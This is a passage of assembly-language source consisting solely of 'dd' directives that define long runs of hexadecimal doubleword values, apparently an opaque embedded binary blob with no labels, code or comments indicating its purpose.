dd 0AE769E2Ch, 0C0A12E2Ah, 22E0F722h, 0FA00D668h, 2B0F1F84h
dd 5036BBD4h, 9C045C9Bh, 0AFBE1D60h, 0B7FBB402h, 7B21CC58h
dd 58890956h, 2F00B8ECh, 4AFABB94h, 145ABD21h, 8CD0B0C7h
dd 2C80223Dh, 723B838h, 0F02583DAh, 1DA049FCh, 3262C0h
dd 0C1D5B137h, 84087874h, 0E7F6A71Ch, 0EC60F4E6h, 7E7A8AC8h
dd 5844F086h, 915B78E6h, 29694658h, 36AF126Ch, 0C3C22CE2h
dd 1C461683h, 9E10F342h, 80F28874h, 6128A1B8h, 68F2E716h
dd 7ED8020Bh, 0DF70040Ch, 1BC820B2h, 5E87AF85h, 0BBF02808h
dd 180C1B8Eh, 0DB8ADDE0h, 70030E6Ch, 0D347105Dh, 0D81DA507h
dd 90721C10h, 1DCC8620h, 0A6D75CA6h, 0B4B940A4h, 6E0187F7h
dd 0EAA57467h, 830C9B65h, 5B468140h, 0F28CC96Bh, 2D2B5330h
dd 0A409191Bh, 0B6271CE6h, 92CCAFDDh, 0D02640B2h, 0CEDC087Ch
dd 191F7C0Ch, 65100048h, 0BD953DDEh, 809646A7h, 2E802249h
dd 10D311F0h, 8384E6h, 811F3D75h, 6369BF87h, 42437090h
dd 0B5D04B5Fh, 153BD482h, 0E6B4AD01h, 0C7A2643Ch, 6E02BA11h
dd 8004F518h, 2195FFFAh, 87B29A00h, 0E141D340h, 0D0661DEAh
dd 69FFC28Bh, 88E080B8h, 0DC04F245h, 0BBF628CDh, 0CF12AC97h
dd 0BE080EA1h, 0FC55AF8Ah, 2D558h, 9E404191h, 0B37688AAh
dd 0EA15300h, 22971292h, 0EB5E0EB5h, 988480BAh, 8B48849Bh
dd 90110064h, 0E1FE31A6h, 50120FF8h, 4CA01EF5h, 2E43C968h
dd 15A38B0Ch, 861AF8B4h, 6870A44Ah, 3B1E3ED6h, 640AC357h
dd 5E8D5D0h, 0B26F7140h, 89770B38h, 3B84E449h, 0B313AADEh
dd 98042257h, 9C880C2Ah, 1CB591E4h, 6D40386Eh, 85D2A1FCh
dd 40B00007h, 263A1842h, 881C4CC4h, 59001179h, 0E2DCD01Fh
dd 0C1800062h, 90BA367Ch, 2D00BB75h, 88EB3842h, 0BFC9B86h
dd 596E0571h, 0FA4C7C98h, 0F7D3F100h, 3E5CF0DDh, 179926A0h
dd 58B7155Ch, 0B631AD31h, 585EE2D0h, 0D8208044h, 0E1272B0h
dd 0C0C12CCCh, 4EAABECh, 0A43240A8h, 0E2FA7B68h, 0BBBE1A63h
dd 4C51C85Bh, 0BD805E05h, 88A1C41Ch, 0B591041Ch, 0C9289300h
dd 84BA8021h, 0FAC8EE00h, 8FFFBF85h, 0DE454819h, 0DC70640Bh
dd 0FB160CC8h, 0B738A4E0h, 0C0C0CC6Eh, 19868733h, 670F217h
dd 4D30B8A5h, 0BC756906h, 0DE7D5818h, 5E9C511h, 0F6A4EF52h
dd 0DFEC48AAh, 4CE3CB65h, 71E30812h, 0FC43B1F8h, 4501C9D5h
dd 0EBF6B41Dh, 9BD080B9h, 0D06E2E6Bh, 9F67080Ch, 73198147h
dd 4AED00F4h, 0EF9ED123h, 0C1903F12h, 8586AC48h, 0B9066D6Bh
dd 0FFF580C0h, 2D979178h, 0FC641BB8h, 5A282400h, 0AAB0E64Dh
dd 0C2C4CEAh, 0A4A2ABC2h, 8001ECD9h, 8A853CE4h, 1F42CCh
dd 1A87FFEEh, 8E8B6A06h, 0DF0A93E0h, 8C822031h, 0B0B4F804h
dd 0E4C6E349h, 5A342D2Eh, 0A428C024h, 94E2B42Bh, 7AD4B980h
dd 26773A42h, 528CAC17h, 4C73CCE1h, 3BBFEA94h, 54D4D8D8h
dd 0B2EE0175h, 2FE8F563h, 0FC137E58h, 0E4D7B049h, 31B80054h
dd 9E960442h, 0AF0903A2h, 0C039FA41h, 0A433ECC8h, 892E0084h
dd 3765137Eh, 305CFC05h, 917621ACh, 18580Ch, 9DE5B2A7h
dd 4A52CB6Fh, 4E3C49C8h, 160344CEh, 4FE60757h, 4D83885Ch
dd 1C9400EEh, 31AAD980h, 0FB4BE213h, 4DA888Dh, 0F44452C7h
dd 8813E12Fh, 32005214h, 5342AE3Ch, 3FBD1B54h, 250596A1h
dd 0B2A7DA7Ah, 4D470068h, 0D35FCD7Ch, 0E09F000Fh, 3D704F03h
dd 17095279h, 98168EFAh, 218B8F74h, 82276849h, 115DE740h
dd 0C2B6118Fh, 56083063h, 0A0A64E2Bh, 0E92BE791h, 12FA9170h
dd 8CCA45F3h, 42E33E01h, 61B1C778h, 0A0BC4155h, 70D901E2h
dd 338BCC32h, 36E05490h, 39E4D058h, 37A90061h, 0C0144412h
dd 303E48D7h, 7B927F21h, 408BB0CCh, 0EFF4B6E2h, 46411496h
dd 2CD090EBh, 56849814h, 572C4073h, 0C9FA10D4h, 20A8E6CAh
dd 0B901E007h, 5024377Eh, 4C28D70Fh, 72E0AF2Eh, 0FA415CD6h
dd 6D71B8A4h, 0A9776C64h, 0BC15ED60h, 53268000h, 2E094088h
dd 12005A78h, 888C53B7h, 0E5E0EED0h, 5C2F807h, 97D01541h
dd 1B0EDBh, 0DE9F5807h, 3E8721CDh, 0DF189E09h, 0BEA09CA4h
dd 579708E0h, 0E0619444h, 0D02510E2h, 7137002Bh, 0A46B7B49h
dd 10B17EB2h, 218D2681h, 6DC6384h, 0BBD32DF9h, 16422890h
dd 1A70C5F2h, 0A1690F18h, 8452BB78h, 84C8AE5Dh, 0DE48B8E0h
dd 973F1D80h, 13F63CC6h, 0DC73480Ch, 2CB933F4h, 4000C524h
dd 4D348E4Bh, 3A823F2Bh, 60B1D880h, 0C753A8A4h, 0F819AB28h
dd 2922EA43h, 463B4090h, 117A05A3h, 0CC8C21BBh, 6FEB001Dh
dd 86CFF134h, 0EE000E0Ch, 8E7063BDh, 4F8A966Eh, 0E0C434BBh
dd 0DD079E40h, 0FA85C7B9h, 0F223BBE0h, 0B40E0A2h, 0C5651881h
dd 58D71040h, 0B93CA795h, 0BB8FA210h, 0B8DE48EEh, 225ACA22h
dd 0E924C8h, 0AE37A561h, 0A4F6C163h, 0FAEB8C07h, 77723D2Ah
dd 0A0288EFDh, 0F7CCB875h, 4E7D1520h, 0A851F4A6h, 0BC782461h
dd 0B9C08048h, 0A6FF4536h, 77B8FD1Fh, 802C5D7Ch, 8329208Fh
dd 0B0EA4DC6h, 0A446682Dh, 740B300Fh, 0E0421707h, 22A186C3h
dd 38DB04C9h, 4415F300h, 30176Ah, 8FE8BB0Eh, 27D9ECC0h
dd 97824828h, 2FFC2103h, 86720879h, 14C60039h, 3FA6D51Ch
dd 0FF746D43h, 4A3802Fh, 20B01FE0h, 0D0F0A1C4h, 1C032808h
dd 0B066AFDBh, 0A4E5C887h, 3E8900D9h, 0C34963BEh, 6416DCA7h
dd 0F500D5F6h, 8C59FCDEh, 330627DFh, 293F7CA0h, 1F00AAB7h
dd 8ED1ED14h, 58DC4054h, 9E213C55h, 71A60609h, 0DD5F9098h
dd 0AA17222h, 855F7BEh, 3F1E08D0h, 6491FC20h, 3AC14D80h
dd 0BDBE44FEh, 0B87C9C05h, 0B6F58758h, 0AEB20467h, 0FF0719Dh
dd 0BC74C406h, 604F4E3Bh, 714D8658h, 0C3D0B200h, 33780E89h
dd 0DBD226F1h, 59EB0854h
dd 0B9427C44h, 208748BDh, 1B860055h, 3300E473h, 1FCAB0E2h
dd 5B89574h, 0D140506Ch, 1E08F359h, 1001A95Ah, 727DC0A0h
dd 0BE5E992h, 0ACC51744h, 0A06C4604h, 0E24AF8B2h, 0BA028200h
dd 0BF7D602Bh, 12CA17BEh, 0FF2803D8h, 0A1AF8C52h, 803CE648h
dd 9550B869h, 134EA887h, 0C7B23038h, 0A26448C0h, 4FC03CF9h
dd 2F5A35B3h, 0C6F34B00h, 42A85C80h, 0EE550930h, 5C4BFFE5h
dd 5ECCAEF8h, 9AA3DC04h, 94903214h, 4AAD69D9h, 27182004h
dd 98009B3Ah, 0CE12911h, 0C21A7CEDh, 19D0B6A9h, 6CE0E47Eh
dd 192DD86h, 56A48423h, 0F0E9F40Ah, 2500BEE3h, 0BC4274C2h
dd 0C0C78909h, 0E5D85D30h, 5F2D8469h, 40E610h, 8B2A8599h
dd 8730E5B7h, 94B25A00h, 79E6F2B1h, 7777DD6h, 4C987E7Ch
dd 0C81C3D0Bh, 3301BF31h, 438D845Ch, 7E00439h, 0ECDE015Fh
dd 80AAB45Dh, 0F5DC494Fh, 0FD4110C5h, 0A08E4887h, 0B86D4912h
dd 40D3C820h, 0ADA7E257h, 85EA361Fh, 0C6800527h, 0ECA050BCh
dd 4F003E6Ch, 10792A72h, 2F2058Bh, 175FE873h, 98C0DFC0h
dd 1FE4E5BEh, 98011C24h, 20F0313Ch, 2200DC10h, 0DB17C69Bh
dd 60B2D4B1h, 3DF3ED00h, 88E69E0Ah, 0CBA75D06h, 938A3CFh
dd 200C2CFBh, 0C3D97082h, 0ADC41040h, 0CCD8DA5Bh, 79930FC0h
dd 0D5A01C5Dh, 0CF23118Eh, 0C0C4B024h, 84C53B00h, 35AE694h
dd 0E75FEDBEh, 0FCF06074h, 0D0168AA8h, 0B8908C9Fh, 0E0DC0EEh
dd 0C55CA607h, 0DBE9h, 0FA399BD9h, 68A98407h, 0CDC18EE4h
dd 59E48CB6h, 4C5A07A5h, 2C4044E6h, 4600D8D9h, 0E080C0ACh
dd 246071D9h, 3F741A81h, 0F629316h, 20EDF1Ch, 11644B06h
dd 0E944CCB0h, 304500D2h, 0FDF1F0BCh, 9917FE6Ah, 0B842AEC7h
dd 20DACBDBh, 0ACE30998h, 0D8A3D11Fh, 0B8B1F6C5h, 6E78B0h
dd 0BB8C4131h, 0C7B6DBFEh, 0F820CD5Ah, 4C673687h, 0FF8270CAh
dd 0BC6E8F73h, 4101CB72h, 1D20FE09h, 30F0F4ACh, 0FACC00F2h
dd 948D0D87h, 0A162677h, 0C804152Bh, 0A14E1798h, 0A7930F3Eh
dd 0E3B46462h, 0AFE41857h, 81CCBC5Ch, 0B87D42B9h, 0D4DAF620h
dd 10FFFA28h, 0A128D95Ch, 213AAE6Fh, 0C168A0A4h, 0F8F3EA57h
dd 7083AA00h, 1E11512Fh, 41D72C08h, 0E8E24B29h, 221438B8h
dd 9EAF1262h, 30B777h, 3C5C1C3Fh, 0E651A3Ah, 0F32BC37h
dd 8022EDA7h, 0FC66828Ch, 114420BFh, 0FA5868E5h, 0D30200E1h
dd 48DB7CB3h, 1600E9D8h, 0AB363347h, 91064941h, 58AF0B60h
dd 48B82018h, 8C41644Fh, 4A5E9CDFh, 58DE4C4h, 5AF23506h
dd 889CBC9Eh, 0AC64AF1Ah, 965A2D01h, 3F0B9CF9h, 0C73ABF4h
dd 76746E52h, 0DF3BF4C4h, 1E5DF4DAh, 145C2D44h, 0F5CB013Ch
dd 0C3463D1Ah, 0D54FC819h, 6E0B0700h, 0B90E5CD4h, 28B948h
dd 1A994CADh, 8D01B89Bh, 4A3C09AFh, 0FDE06BF7h, 0C6862843h
dd 779722D0h, 70784644h, 2640095h, 61981C3Ah, 0AA143669h
dd 0ED48B30h, 3639B52h, 89C47FB9h, 1020FDD5h, 0C720120Ah
dd 9878F8F2h, 6FC06Eh, 14DE89EFh, 4E4A9DF4h, 9C9150F2h
dd 64D3EC05h, 40557C44h, 0D30040E7h, 97A70C94h, 201B20Dh
dd 0D56AE56Eh, 0A2FC5171h, 0F1E7319h, 0D956F2B8h, 0B9ECDC32h
dd 31C64502h, 5A4750F2h, 22D15BFCh, 0A0184588h, 4BEC9006h
dd 3C64C873h, 7BDE0440h, 0FCD90A72h, 0FCC1474h, 52A28E22h
dd 58718D0Ch, 1643FA00h, 0EBCB4Dh, 0D30561Eh, 0C5F38966h
dd 55CAC01h, 2B5B573Ah, 60909D2Bh, 1895B184h, 692710h
dd 429EA4C7h, 0F612A6DCh, 60194400h, 1B5652E6h, 84D64C8Ah
dd 0B91CED00h, 71970185h, 0AED47907h, 8F0039EEh, 7E97074h
dd 22A1BFF3h, 0A24760BDh, 9B78E1B2h, 0D75410B5h, 71AC001Ch
dd 2B047631h, 92ABBF4h, 5D0B9050h, 0D243E5A8h, 0B948C06Ch
dd 0A3E80EB4h, 29BC8835h, 9C4438E1h, 4CC260A4h, 4C0FDFB4h
dd 0A4A09F74h, 0D1D89CDCh, 7C5A78B8h, 0B0465C93h, 4A45CC8h
dd 0C1EF8066h, 53E892A0h, 4C226120h, 91020094h, 6CD00FC8h
dd 474B8E38h, 0CCF86412h, 43A284B0h, 71513000h, 0F2DFDAD5h
dd 85EE09ACh, 0B010C4B1h, 31C048BAh, 0A3641DDAh, 338B2EDFh
dd 56B94044h, 5B72B83h, 0ACC344D0h, 0A10FD4F7h, 0D0467BE1h
dd 30586ABBh, 82518A98h, 4667602Eh, 0C1B2C7BAh, 0A4DB2A34h
dd 0F0101CE0h, 0FC80AE88h, 0D81F06ACh, 57EB0083h, 14D31BD7h
dd 0E195DA8Dh, 0B708CA64h, 0D21222E0h, 18056E6Ah, 2C98D730h
dd 0B0E720Ah, 7F81FB2Ch, 9B364802h, 284FC90h, 6E15503h
dd 0C2788150h, 5F08843Ah, 1A6108Ch, 0D18B7220h, 6FB4883Dh
dd 0CFDE6C5Fh, 47CA3841h, 0CB2E56F3h, 5BA3CF4h, 0AF0749F2h
dd 5C009CB7h, 0A86C86EDh, 680066F1h, 4E73E243h, 13468EA7h
dd 62DD5857h, 168090h, 0BBD476A2h, 42333470h, 0A4268501h
dd 38AF7C3Ch, 0FD406E82h, 0C4F3CDEEh, 4843100h, 3E2689h
dd 0FA4A8E1Dh, 13753D23h, 9A83530Eh, 6EA84243h, 2968C428h
dd 1248D3E9h, 9438A281h, 0C1D3006Dh, 0CCA436AAh, 406F1D83h
dd 0A0418002h, 84E8593Eh, 0DC867609h, 0BA748069h, 0E0DB20h
dd 0E396C2Ch, 0AE8C8392h, 502D1800h, 9D2B0F40h, 0B1AC00D2h
dd 0E589B42h, 0B51D2670h, 4B43BD01h, 0A071A004h, 0E9AD08Dh
dd 79E42745h, 6D307B40h, 0D5038920h, 4BEC93D2h, 736FD819h
dd 326F0ABh, 2FAA2A18h, 83D04558h, 52009AB3h, 84FCB0DAh
dd 0FE0F297h, 0BB12FFD1h, 8D2BEA40h, 3000695Dh, 3EA6C35Ch
dd 0C0FA701Ch, 87454258h, 58E0EC4Ah, 7E80F412h, 0B4F62200h
dd 30921644h, 0ED28756Dh, 0BF30D343h, 0FFFB38E5h, 39337408h
dd 78AB7Bh, 2E3EF904h, 73F7EF64h, 7C61D360h, 2B89FEh, 2E1B26B7h
dd 0F8F4FC8Ch, 1EFABD0Eh, 8DFFC010h, 3F0E53BFh, 0E230A2F6h
dd 21CE6071h, 0F03CAAE2h, 494707F2h, 4460964Fh, 78FF7Bh
dd 0FDA64258h, 0CEDBF8D0h, 0E26C0A01h, 0E61DE871h, 0F7FC8186h
dd 0D2F050E5h, 0CCA89255h, 0B000502Fh, 0C024DA1Ch, 3C77CBh
dd 0E6C7FD9Bh, 0F96D101Dh, 0D2971B03h, 0C016E343h, 0F094BE05h
dd 9FD0302Bh, 0C118C449h, 0DBC97400h, 53E8D728h, 73411B0Fh
dd 7A881D2h, 12CFAA6h, 0F101022Ah, 0A7F8A258h, 3018D0E8h
dd 0F2F14E17h, 59C087C8h, 7D97A805h, 0E808CF13h, 0F651F92Ch
dd 10317660h, 85A704h, 97072994h, 118AA3E6h, 9160DA76h
dd 0B09E7248h, 58CD502Bh, 1C2200D8h, 1B1FE50h, 815CDEEDh
dd 0D57B189Dh, 0E9D161h, 72310A54h, 0FF737946h, 89A32901h
dd 2C1F6F4Dh, 0E85BCCCh, 0F8CB1E8Ch, 41EC0093h, 2818D506h
dd 0A17FF130h, 0A494A8h, 77999526h, 0E5639FDCh, 1EF17B00h
dd 0E671FDB1h, 8C6C30F3h, 0B54E5630h, 89D77030h, 0BB2E3Ah
dd 7490FAF1h, 5118C6E7h, 7280820Ah, 79818C19h, 687B1411h
dd 4C1AF055h, 79049060h, 4687240Bh, 55510952h, 61D0C406h
dd 0F65D5005h, 0B45FF805h, 2BE45030h, 0A681DACh, 0C08F0049h
dd 6D6EF989h, 0C6C4A48h, 0E17A6C9Dh, 4EB2A2Bh, 0E98EF0ACh
dd 8840FBE5h, 1457D522h, 4C43957Bh, 0ECF7FF0Ch, 8560D2A9h
dd 0E8A3D939h, 0B0283DD4h, 0D1779480h, 0A6BE15FAh, 9D443490h
dd 34DD0025h, 0A1F310C6h, 0BD0ECC87h, 869F36C9h, 7D59F05Ah
dd 0AD1500D1h, 0D28B8C73h, 1A141B57h, 7E08AFCh, 0C0FA7AD5h
dd 0A060B87Ah, 0C6F7F3FFh, 38D57941h, 0DBFB7A0Ah, 0A26ED4F6h
dd 408DCD25h, 0FAE84B80h, 0B0724946h, 90E4F810h, 3C280058h
dd 13564FEh
dd 6A860013h, 0BC504123h, 763FFF42h, 1498F133h, 0A8F0F845h
dd 98E000E9h, 7AA5446Bh, 0A8A3F93Ah, 8FF23883h, 261BAA80h
dd 0F89283C9h, 0A0B66231h, 798090D2h, 0D7DD38FCh, 72007523h
dd 32AB3DB2h, 0C78E04E9h, 48E4F6B1h, 0EA5E8700h, 4806E5EFh
dd 2D1F3679h, 0C667C018h, 868BF92Bh, 1520FC90h, 0F35A32BDh
dd 0DA4175E9h, 0F487F8B7h, 9EAFFA1Dh, 0C2890A9h, 0F8D30522h
dd 0A8E253h, 0FB7DAD7Bh, 636EF151h, 0F8905092h, 0D2287AFCh
dd 7310D08Bh, 93487531h, 0E871F130h, 51C0EE07h, 3551D58Dh
dd 1310C9DDh, 6E806008h, 10A18680h, 12E63914h, 0F24CB9FEh
dd 80B039B0h, 22A4B164h, 0EEC6A75Dh, 1498038Ch, 2AD51D2Dh
dd 75EC6107h, 5DE4ADC9h, 3215888h, 3B715A45h, 0C38C044Ah
dd 40B08989h, 627B44D2h, 9FCB400h, 7BC2CC49h, 0A445198Ah
dd 48F1487Ah, 8E006CB8h, 87CB2597h, 1914E6Ah, 6017B350h
dd 6E4D6B9Eh, 8A47E06h, 934B3989h, 9A7B8C06h, 4A53E198h
dd 0FF2300E0h, 7F8685A5h, 0DFA300B8h, 0B00FF137h, 30136C75h
dd 0E404889Fh, 5A0AEB1Dh, 0CEAE0068h, 55A91995h, 40FF3407h
dd 4EA2E9FEh, 96284999h, 2F5CB110h, 3314D03h, 0F0143F35h
dd 120430DCh, 24869681h, 0CBD808E4h, 53611D64h, 72C89B82h
dd 40E4E221h, 7BF8E072h, 18E96974h, 1116D430h, 0D35B7707h
dd 51E04CBCh, 0B2321099h, 34D65C9Ch, 0F4801C4Ch, 965787CEh
dd 51A7B509h, 0D5A48476h, 0F7CA0053h, 0BB1AE185h, 1E483F03h
dd 0A04676A4h, 7ED926C4h, 708C066h, 0BF399615h, 0DA8C351Eh
dd 0A2277100h, 2EE23Ah, 9EE9BDD9h, 0E41B0D97h, 4007C130h
dd 89C580ACh, 2147F0D1h, 64BEB3Dh, 0DF644534h, 0A9863928h
dd 43D9CF8Fh, 63A79340h, 0F3316189h, 0AE4760BBh, 37C5180h
dd 0CD5BEB0Ch, 0AE72D93Dh, 8C00C928h, 0DE7B5032h, 0B480065Ah
dd 79E0CA43h, 5734FD50h, 3900CCE4h, 84960E5Dh, 1DDD99Dh
dd 0D947499h, 60F726CDh, 0A0C448E4h, 71477E62h, 83880A2Ch
dd 0AA44A5E7h, 0AC369101h, 0DB9CD5F7h, 33CF8ECh, 661576E3h
dd 30047FE4h, 0AE438886h, 9891BEC6h, 41A563F3h, 59000CE6h
dd 67FAC279h, 6F4740F0h, 0BE002192h, 0F91CDF80h, 2D006071h
dd 6C0B8361h, 181676h, 78AAA95Ah, 4035DDDEh, 0A7A4C8C3h
dd 71FCD1CBh, 0F093C180h, 0B20EE226h, 0C7116E00h, 5FB9472Bh
dd 983718FEh, 0B5C49827h, 61006372h, 0E23BF780h, 0C031CB86h
dd 0EA34C8A1h, 4BB8E940h, 80FB873Ah, 0CEA7F258h, 194D7DBEh
dd 0B9DEFE1Bh, 0C454D17Eh, 9AFAB2C3h, 0F9420C92h, 9FEC7900h
dd 0A5E17E06h, 0B51FFA08h, 0FC3AEDh, 0F1A8DFE8h, 0FD7C7F78h
dd 11C97360h, 9676ECh, 0CD39F4AEh, 0D451E44Ch, 0C38F4Ch
dd 0E156170Dh, 0A491F81Bh, 0AD3044B0h, 0CC975B00h, 4BB6AE24h
dd 3A7403FFh, 69437365h, 5DECC8C0h, 10FE2200h, 0D38164B6h
dd 0E1150170h, 0B1F7FACCh, 445C241Eh, 0E5476544h, 5E9A6981h
dd 0CC4D2245h, 5D005739h, 0C2E7E012h, 0F8140CA3h, 0E37D6Ch
dd 0D20D0284h, 0B9B50FE4h, 1B76DA06h, 1A49C3E7h, 0F804C1D5h
dd 88219006h, 0E1372EC0h, 9095E97Ch, 0AAE705CCh, 8B0DA3h
dd 12CA5C4h, 220CCC79h, 0A8C45142h, 0F09F0A1Ah, 0AA4392Fh
dd 838408C8h, 0FDE430C0h, 57A3C08Fh, 8F1E2184h, 7C98F425h
dd 7084CD9h, 206A308Dh, 0E9F7D061h, 5C002C98h, 42A6A0E1h
dd 50B8E660h, 129DF8AFh, 4B4A37Bh, 40015F94h, 7E10C816h
dd 7C624937h, 0CDAF027Ch, 7F8BDFF9h, 0BCE4D482h, 0EC8CAC21h
dd 72FD298Ch, 9042C89h, 0FCF79966h, 4DC892C0h, 3783005Dh
dd 3A0D386Dh, 0B700B639h, 124EE0EAh, 81824Bh, 37F3DC27h
dd 27CE4AAh, 4CACAF1Dh, 98BDB503h, 0DAB08845h, 78EE0060h
dd 2BA2818Ch, 741C4ABFh, 0A807EECh, 9FEDC24Bh, 10449835h
dd 48A8FC11h, 0E6B41854h, 48CA4A9h, 0E59ADA7Eh, 0A2648103h
dd 0FBF020B6h, 441E3F22h, 0D7724506h, 5FDCCB01h, 8A81CC5Dh
dd 1D65FFC0h, 0E6447629h, 18BD6330h, 0D6E84178h, 94C03E2Ah
dd 0E8B888F0h, 477030E3h, 560E4499h, 2A9220A1h, 0FCF6CBBDh
dd 0ABC9028Eh, 7B0F7357h, 0FFE7A8A3h, 7F50C5B0h, 0C993728h
dd 44477126h, 0D821704Ah, 7C61E712h, 88334099h, 66303F22h
dd 40BE31F6h, 15DC005Eh, 836FFB70h, 8700DA9Dh, 17E701EBh
dd 20CBD431h, 22430DEh, 0FB47A4FDh, 8A478E90h, 247DEEB6h
dd 1E844CD6h, 61030222h, 4C9DE9Fh, 55BA11C6h, 171EAD4h
dd 5D1B52FEh, 317391C5h, 43D9D780h, 66D45122h, 9CA1811Fh
dd 0BFC8F3BBh, 7260FCCDh, 59EECC2h, 2808058Ah, 0C8C40839h
dd 909B3489h, 0C0A9473Ch, 0E8E46F79h, 96007043h, 506535Fh
dd 286EEF48h, 44DC1618h, 220F9E0Ah, 615A8B40h, 0FA81D72Ch
dd 0CBB50840h, 0E429C035h, 0DE5469F2h, 4C4ACF00h, 798C516Dh
dd 0BCB1086Eh, 86801E1Bh, 942BB459h, 0AC8048C8h, 0C8799D14h
dd 341E4185h, 0D8EC20E0h, 0E800F443h, 0D4196305h, 140A258Eh
dd 5402AC80h, 54A4E402h, 6C448AA9h, 63B4D500h, 1EEE42FEh
dd 0BCA507EBh, 0A018D050h, 38CA78D7h, 44F5DC00h, 0FC86FF3Bh
dd 697E18B4h, 709F41F7h, 35DACF00h, 0AE7BC5CDh, 0ED67FBFh
dd 3160E60Eh, 37B3E760h, 63162A13h, 40458A69h, 8C8BE51Bh
dd 0EF7D1E00h, 0BFFEF515h, 0E08B5105h, 0F08C4042h, 0A47679ABh
dd 45E703A8h, 72DE3F50h, 2DA0C0ECh, 51804B87h, 0A392889Fh
dd 46471200h, 502BAE6Eh, 0ACC63889h, 80058C52h, 0EF467BFEh
dd 892BCC82h, 0F2E2809Ch, 384E6462h, 6E12E9C4h, 1FFC0FE4h
dd 1C83B8ABh, 68C21B1Eh, 0D6B28468h, 0A6D5383Dh, 5F0054A1h
dd 0B1B0953Bh, 0AD300F3h, 989B1343h, 32F0AFC7h, 450063F4h
dd 9E19765Dh, 0FAFFC38Dh, 8488A0ECh, 9CD70F68h, 370C2C24h
dd 545CF9A9h, 47430099h, 9EAAE856h, 342B09E4h, 8C003DA0h
dd 0DBAF946h, 0A43AC440h, 28CD2C94h, 6D6904F8h, 28710FE8h
dd 0CB1F8001h, 8B9EB632h, 83A9F70Ah, 0A483D4DBh, 0A035F76h
dd 0C9D08729h, 3D5A02B4h, 0C960FEA1h, 95E676F6h, 541CAB00h
dd 65D876Fh, 2077813h, 156ED9Dh, 0B861B533h, 0F0A8D845h
dd 82F9F24h, 882C0B08h, 0E4497A2h, 0BE8EF240h, 2C032BBDh
dd 6A32B6C5h, 0F04DA087h, 83980168h, 81A9BFCCh, 0B0B1A69Ch
dd 7913C611h, 8F703037h, 0BA03E664h, 0E889657Ch, 9C5E1F42h
dd 337B160Fh, 17D8EF88h, 2000AC12h, 95872CBBh, 0F670BDh
dd 79D2899h, 0E11BFE08h, 0BECB01Eh, 9F8CEB9Dh, 129D2623h
dd 20C34302h, 0C2ED6758h, 7B708C63h, 2422C337h, 8B288691h
dd 0D810CB05h, 0D60E3D9Bh, 209E0196h, 76BC4E59h, 0F832482Ch
dd 719D78C8h, 98DC11A5h, 44FA8048h, 1900B2C3h, 7FA36BCBh
dd 0C3C2E245h, 0F089AC19h, 76FDA118h, 0C39C51h, 4C29F13h
dd 0CE79D53Fh, 3EE1D20Fh, 54C1DC3Ah, 44CB875Eh, 0C6B02030h
dd 417FFD71h, 4F642A00h, 25E3826Bh, 280EE50h, 97D31F0Dh
dd 9C405C8Ah, 4A2A63E0h, 9144F8C5h, 4A7C7879h, 492856F0h
dd 58220E88h, 2B0006A4h, 18CCF3D9h, 28AA55C7h, 80283246h
dd 0DE046C14h, 562C9C16h, 0B1E568C0h, 0C00E14ECh, 0F82ED01Dh
dd 88AE4190h, 11D0291Ch, 792EC0E7h, 0AAAF0854h, 1056E264h
dd 0C2005060h, 9516B317h, 8901CCA9h, 0F6E54E1Ch, 33608179h
dd 8AC51F9Ch, 5CFE80ACh, 0F4A9E00Fh, 54E47EFCh, 7BCF9A00h
dd 6043D9BFh, 639305DCh
dd 0D09677E6h, 0C2A29BB0h, 0BD002091h, 0FDFE7F5Fh, 8FB4A84Bh
dd 99970082h, 0DEAE74E0h, 2800AD89h, 789B3558h, 39D957AAh
dd 0F6805A2Eh, 58CFE09h, 0C0966137h, 1B1F2540h, 47E094F3h
dd 0A2AC84D5h, 7C70004Ch, 885D4A25h, 48A098FAh, 9E3F2067h
dd 0C8126880h, 254E427h, 0CB18AE73h, 16B0CFFEh, 13E8149Dh
dd 0B712B408h, 61882973h, 44D808C9h, 48B8A24Dh, 662F09BCh
dd 34D8231Eh, 9491C461h, 0FDF1482Ah, 0F40A8062h, 1EC7184Ch
dd 97111D68h, 0B0D850A5h, 9136FD02h, 0E4C64B62h, 0CBBBD400h
dd 497232A8h, 2F300F8h, 857881C0h, 64148C90h, 6C7B6DBh
dd 0C4BF7107h, 0E4E6EB50h, 9F3418E8h, 6386912Dh, 4CCC8B5Ch
dd 0AC250824h, 8056403h, 8DA90B32h, 0ACA44890h, 5E791E1Fh
dd 239E6E83h, 32487399h, 64C1BBB0h, 5F4EC560h, 8CF56606h
dd 0A059C454h, 16259C0Ch, 0FA2805Ah, 7EA4E8h, 0DE094513h
dd 91254A6Bh, 2F001863h, 0E88B2CD6h, 0B044E9A0h, 0F585A700h
dd 356F65AEh, 476FEB3h, 2FE7EEF7h, 34D0B075h, 0D045984Ah
dd 0A845AC47h, 0F40055A0h, 13272A81h, 54DF3922h, 0FDFF1880h
dd 0CB0701EAh, 0DD138F7Ah, 0F417B561h, 5AAC1C40h, 192D3DBh
dd 90223C41h, 0C880B785h, 72ECFA3Bh, 27CBA509h, 163081B9h
dd 0E44844A4h, 1CEA0061h, 0F3A2F775h, 6301EE89h, 36FC33B6h
dd 5C52FADFh, 3EF04466h, 0B581A3C6h, 741E8DA8h, 32A442CBh
dd 69F8F91Bh, 1D008832h, 62AF5594h, 4F035AF5h, 0D5F334A1h
dd 0D2EBC838h, 0EA070F4h, 2FE4A590h, 66684A53h, 0A20B1820h
dd 3B051316h, 6F0E5C21h, 79A9B0C0h, 0FFD80062h, 454FCD72h
dd 7A136D6Eh, 0A804BBA0h, 7948267Dh, 5ABF2E80h, 186B565h
dd 36AF4219h, 9791D80Ah, 0A432D530h, 0E6B120C3h, 249AABFDh
dd 4CFD4898h, 0DA00B4F8h, 522997CFh, 2CCF21Eh, 88DD8B08h
dd 64510C1Fh, 0BB37CF01h, 8D62CD8h, 0DA800008h, 0AF4B618Bh
dd 2A165890h, 18818ACBh, 0A03D6734h, 78B6450h, 131DAFCAh
dd 9AB5B2A5h, 0ACC04605h, 0C987A981h, 64220739h, 2EC2A5C6h
dd 35F2FC64h, 0E8393003h, 0B1D7489Ah, 0B9D8D847h, 0A67F00C5h
dd 63090B34h, 39009D7Ch, 939F102Bh, 96209EA2h, 0E8094B74h
dd 1B667440h, 0B41588h, 86A5D604h, 367FC7DBh, 5A61D100h
dd 5D515895h, 0A850F744h, 2313282h, 1BD24777h, 74D1B9F1h
dd 0CC48ED11h, 883B4AC0h, 0A0001735h, 50489562h, 0AD2F1Ah
dd 0D258366Bh, 2E438880h, 1C089A4Ah, 42B1834Bh, 0C6F176B9h
dd 375884CBh, 38CC2C60h, 20BA6742h, 909489C5h, 0AE9A5713h
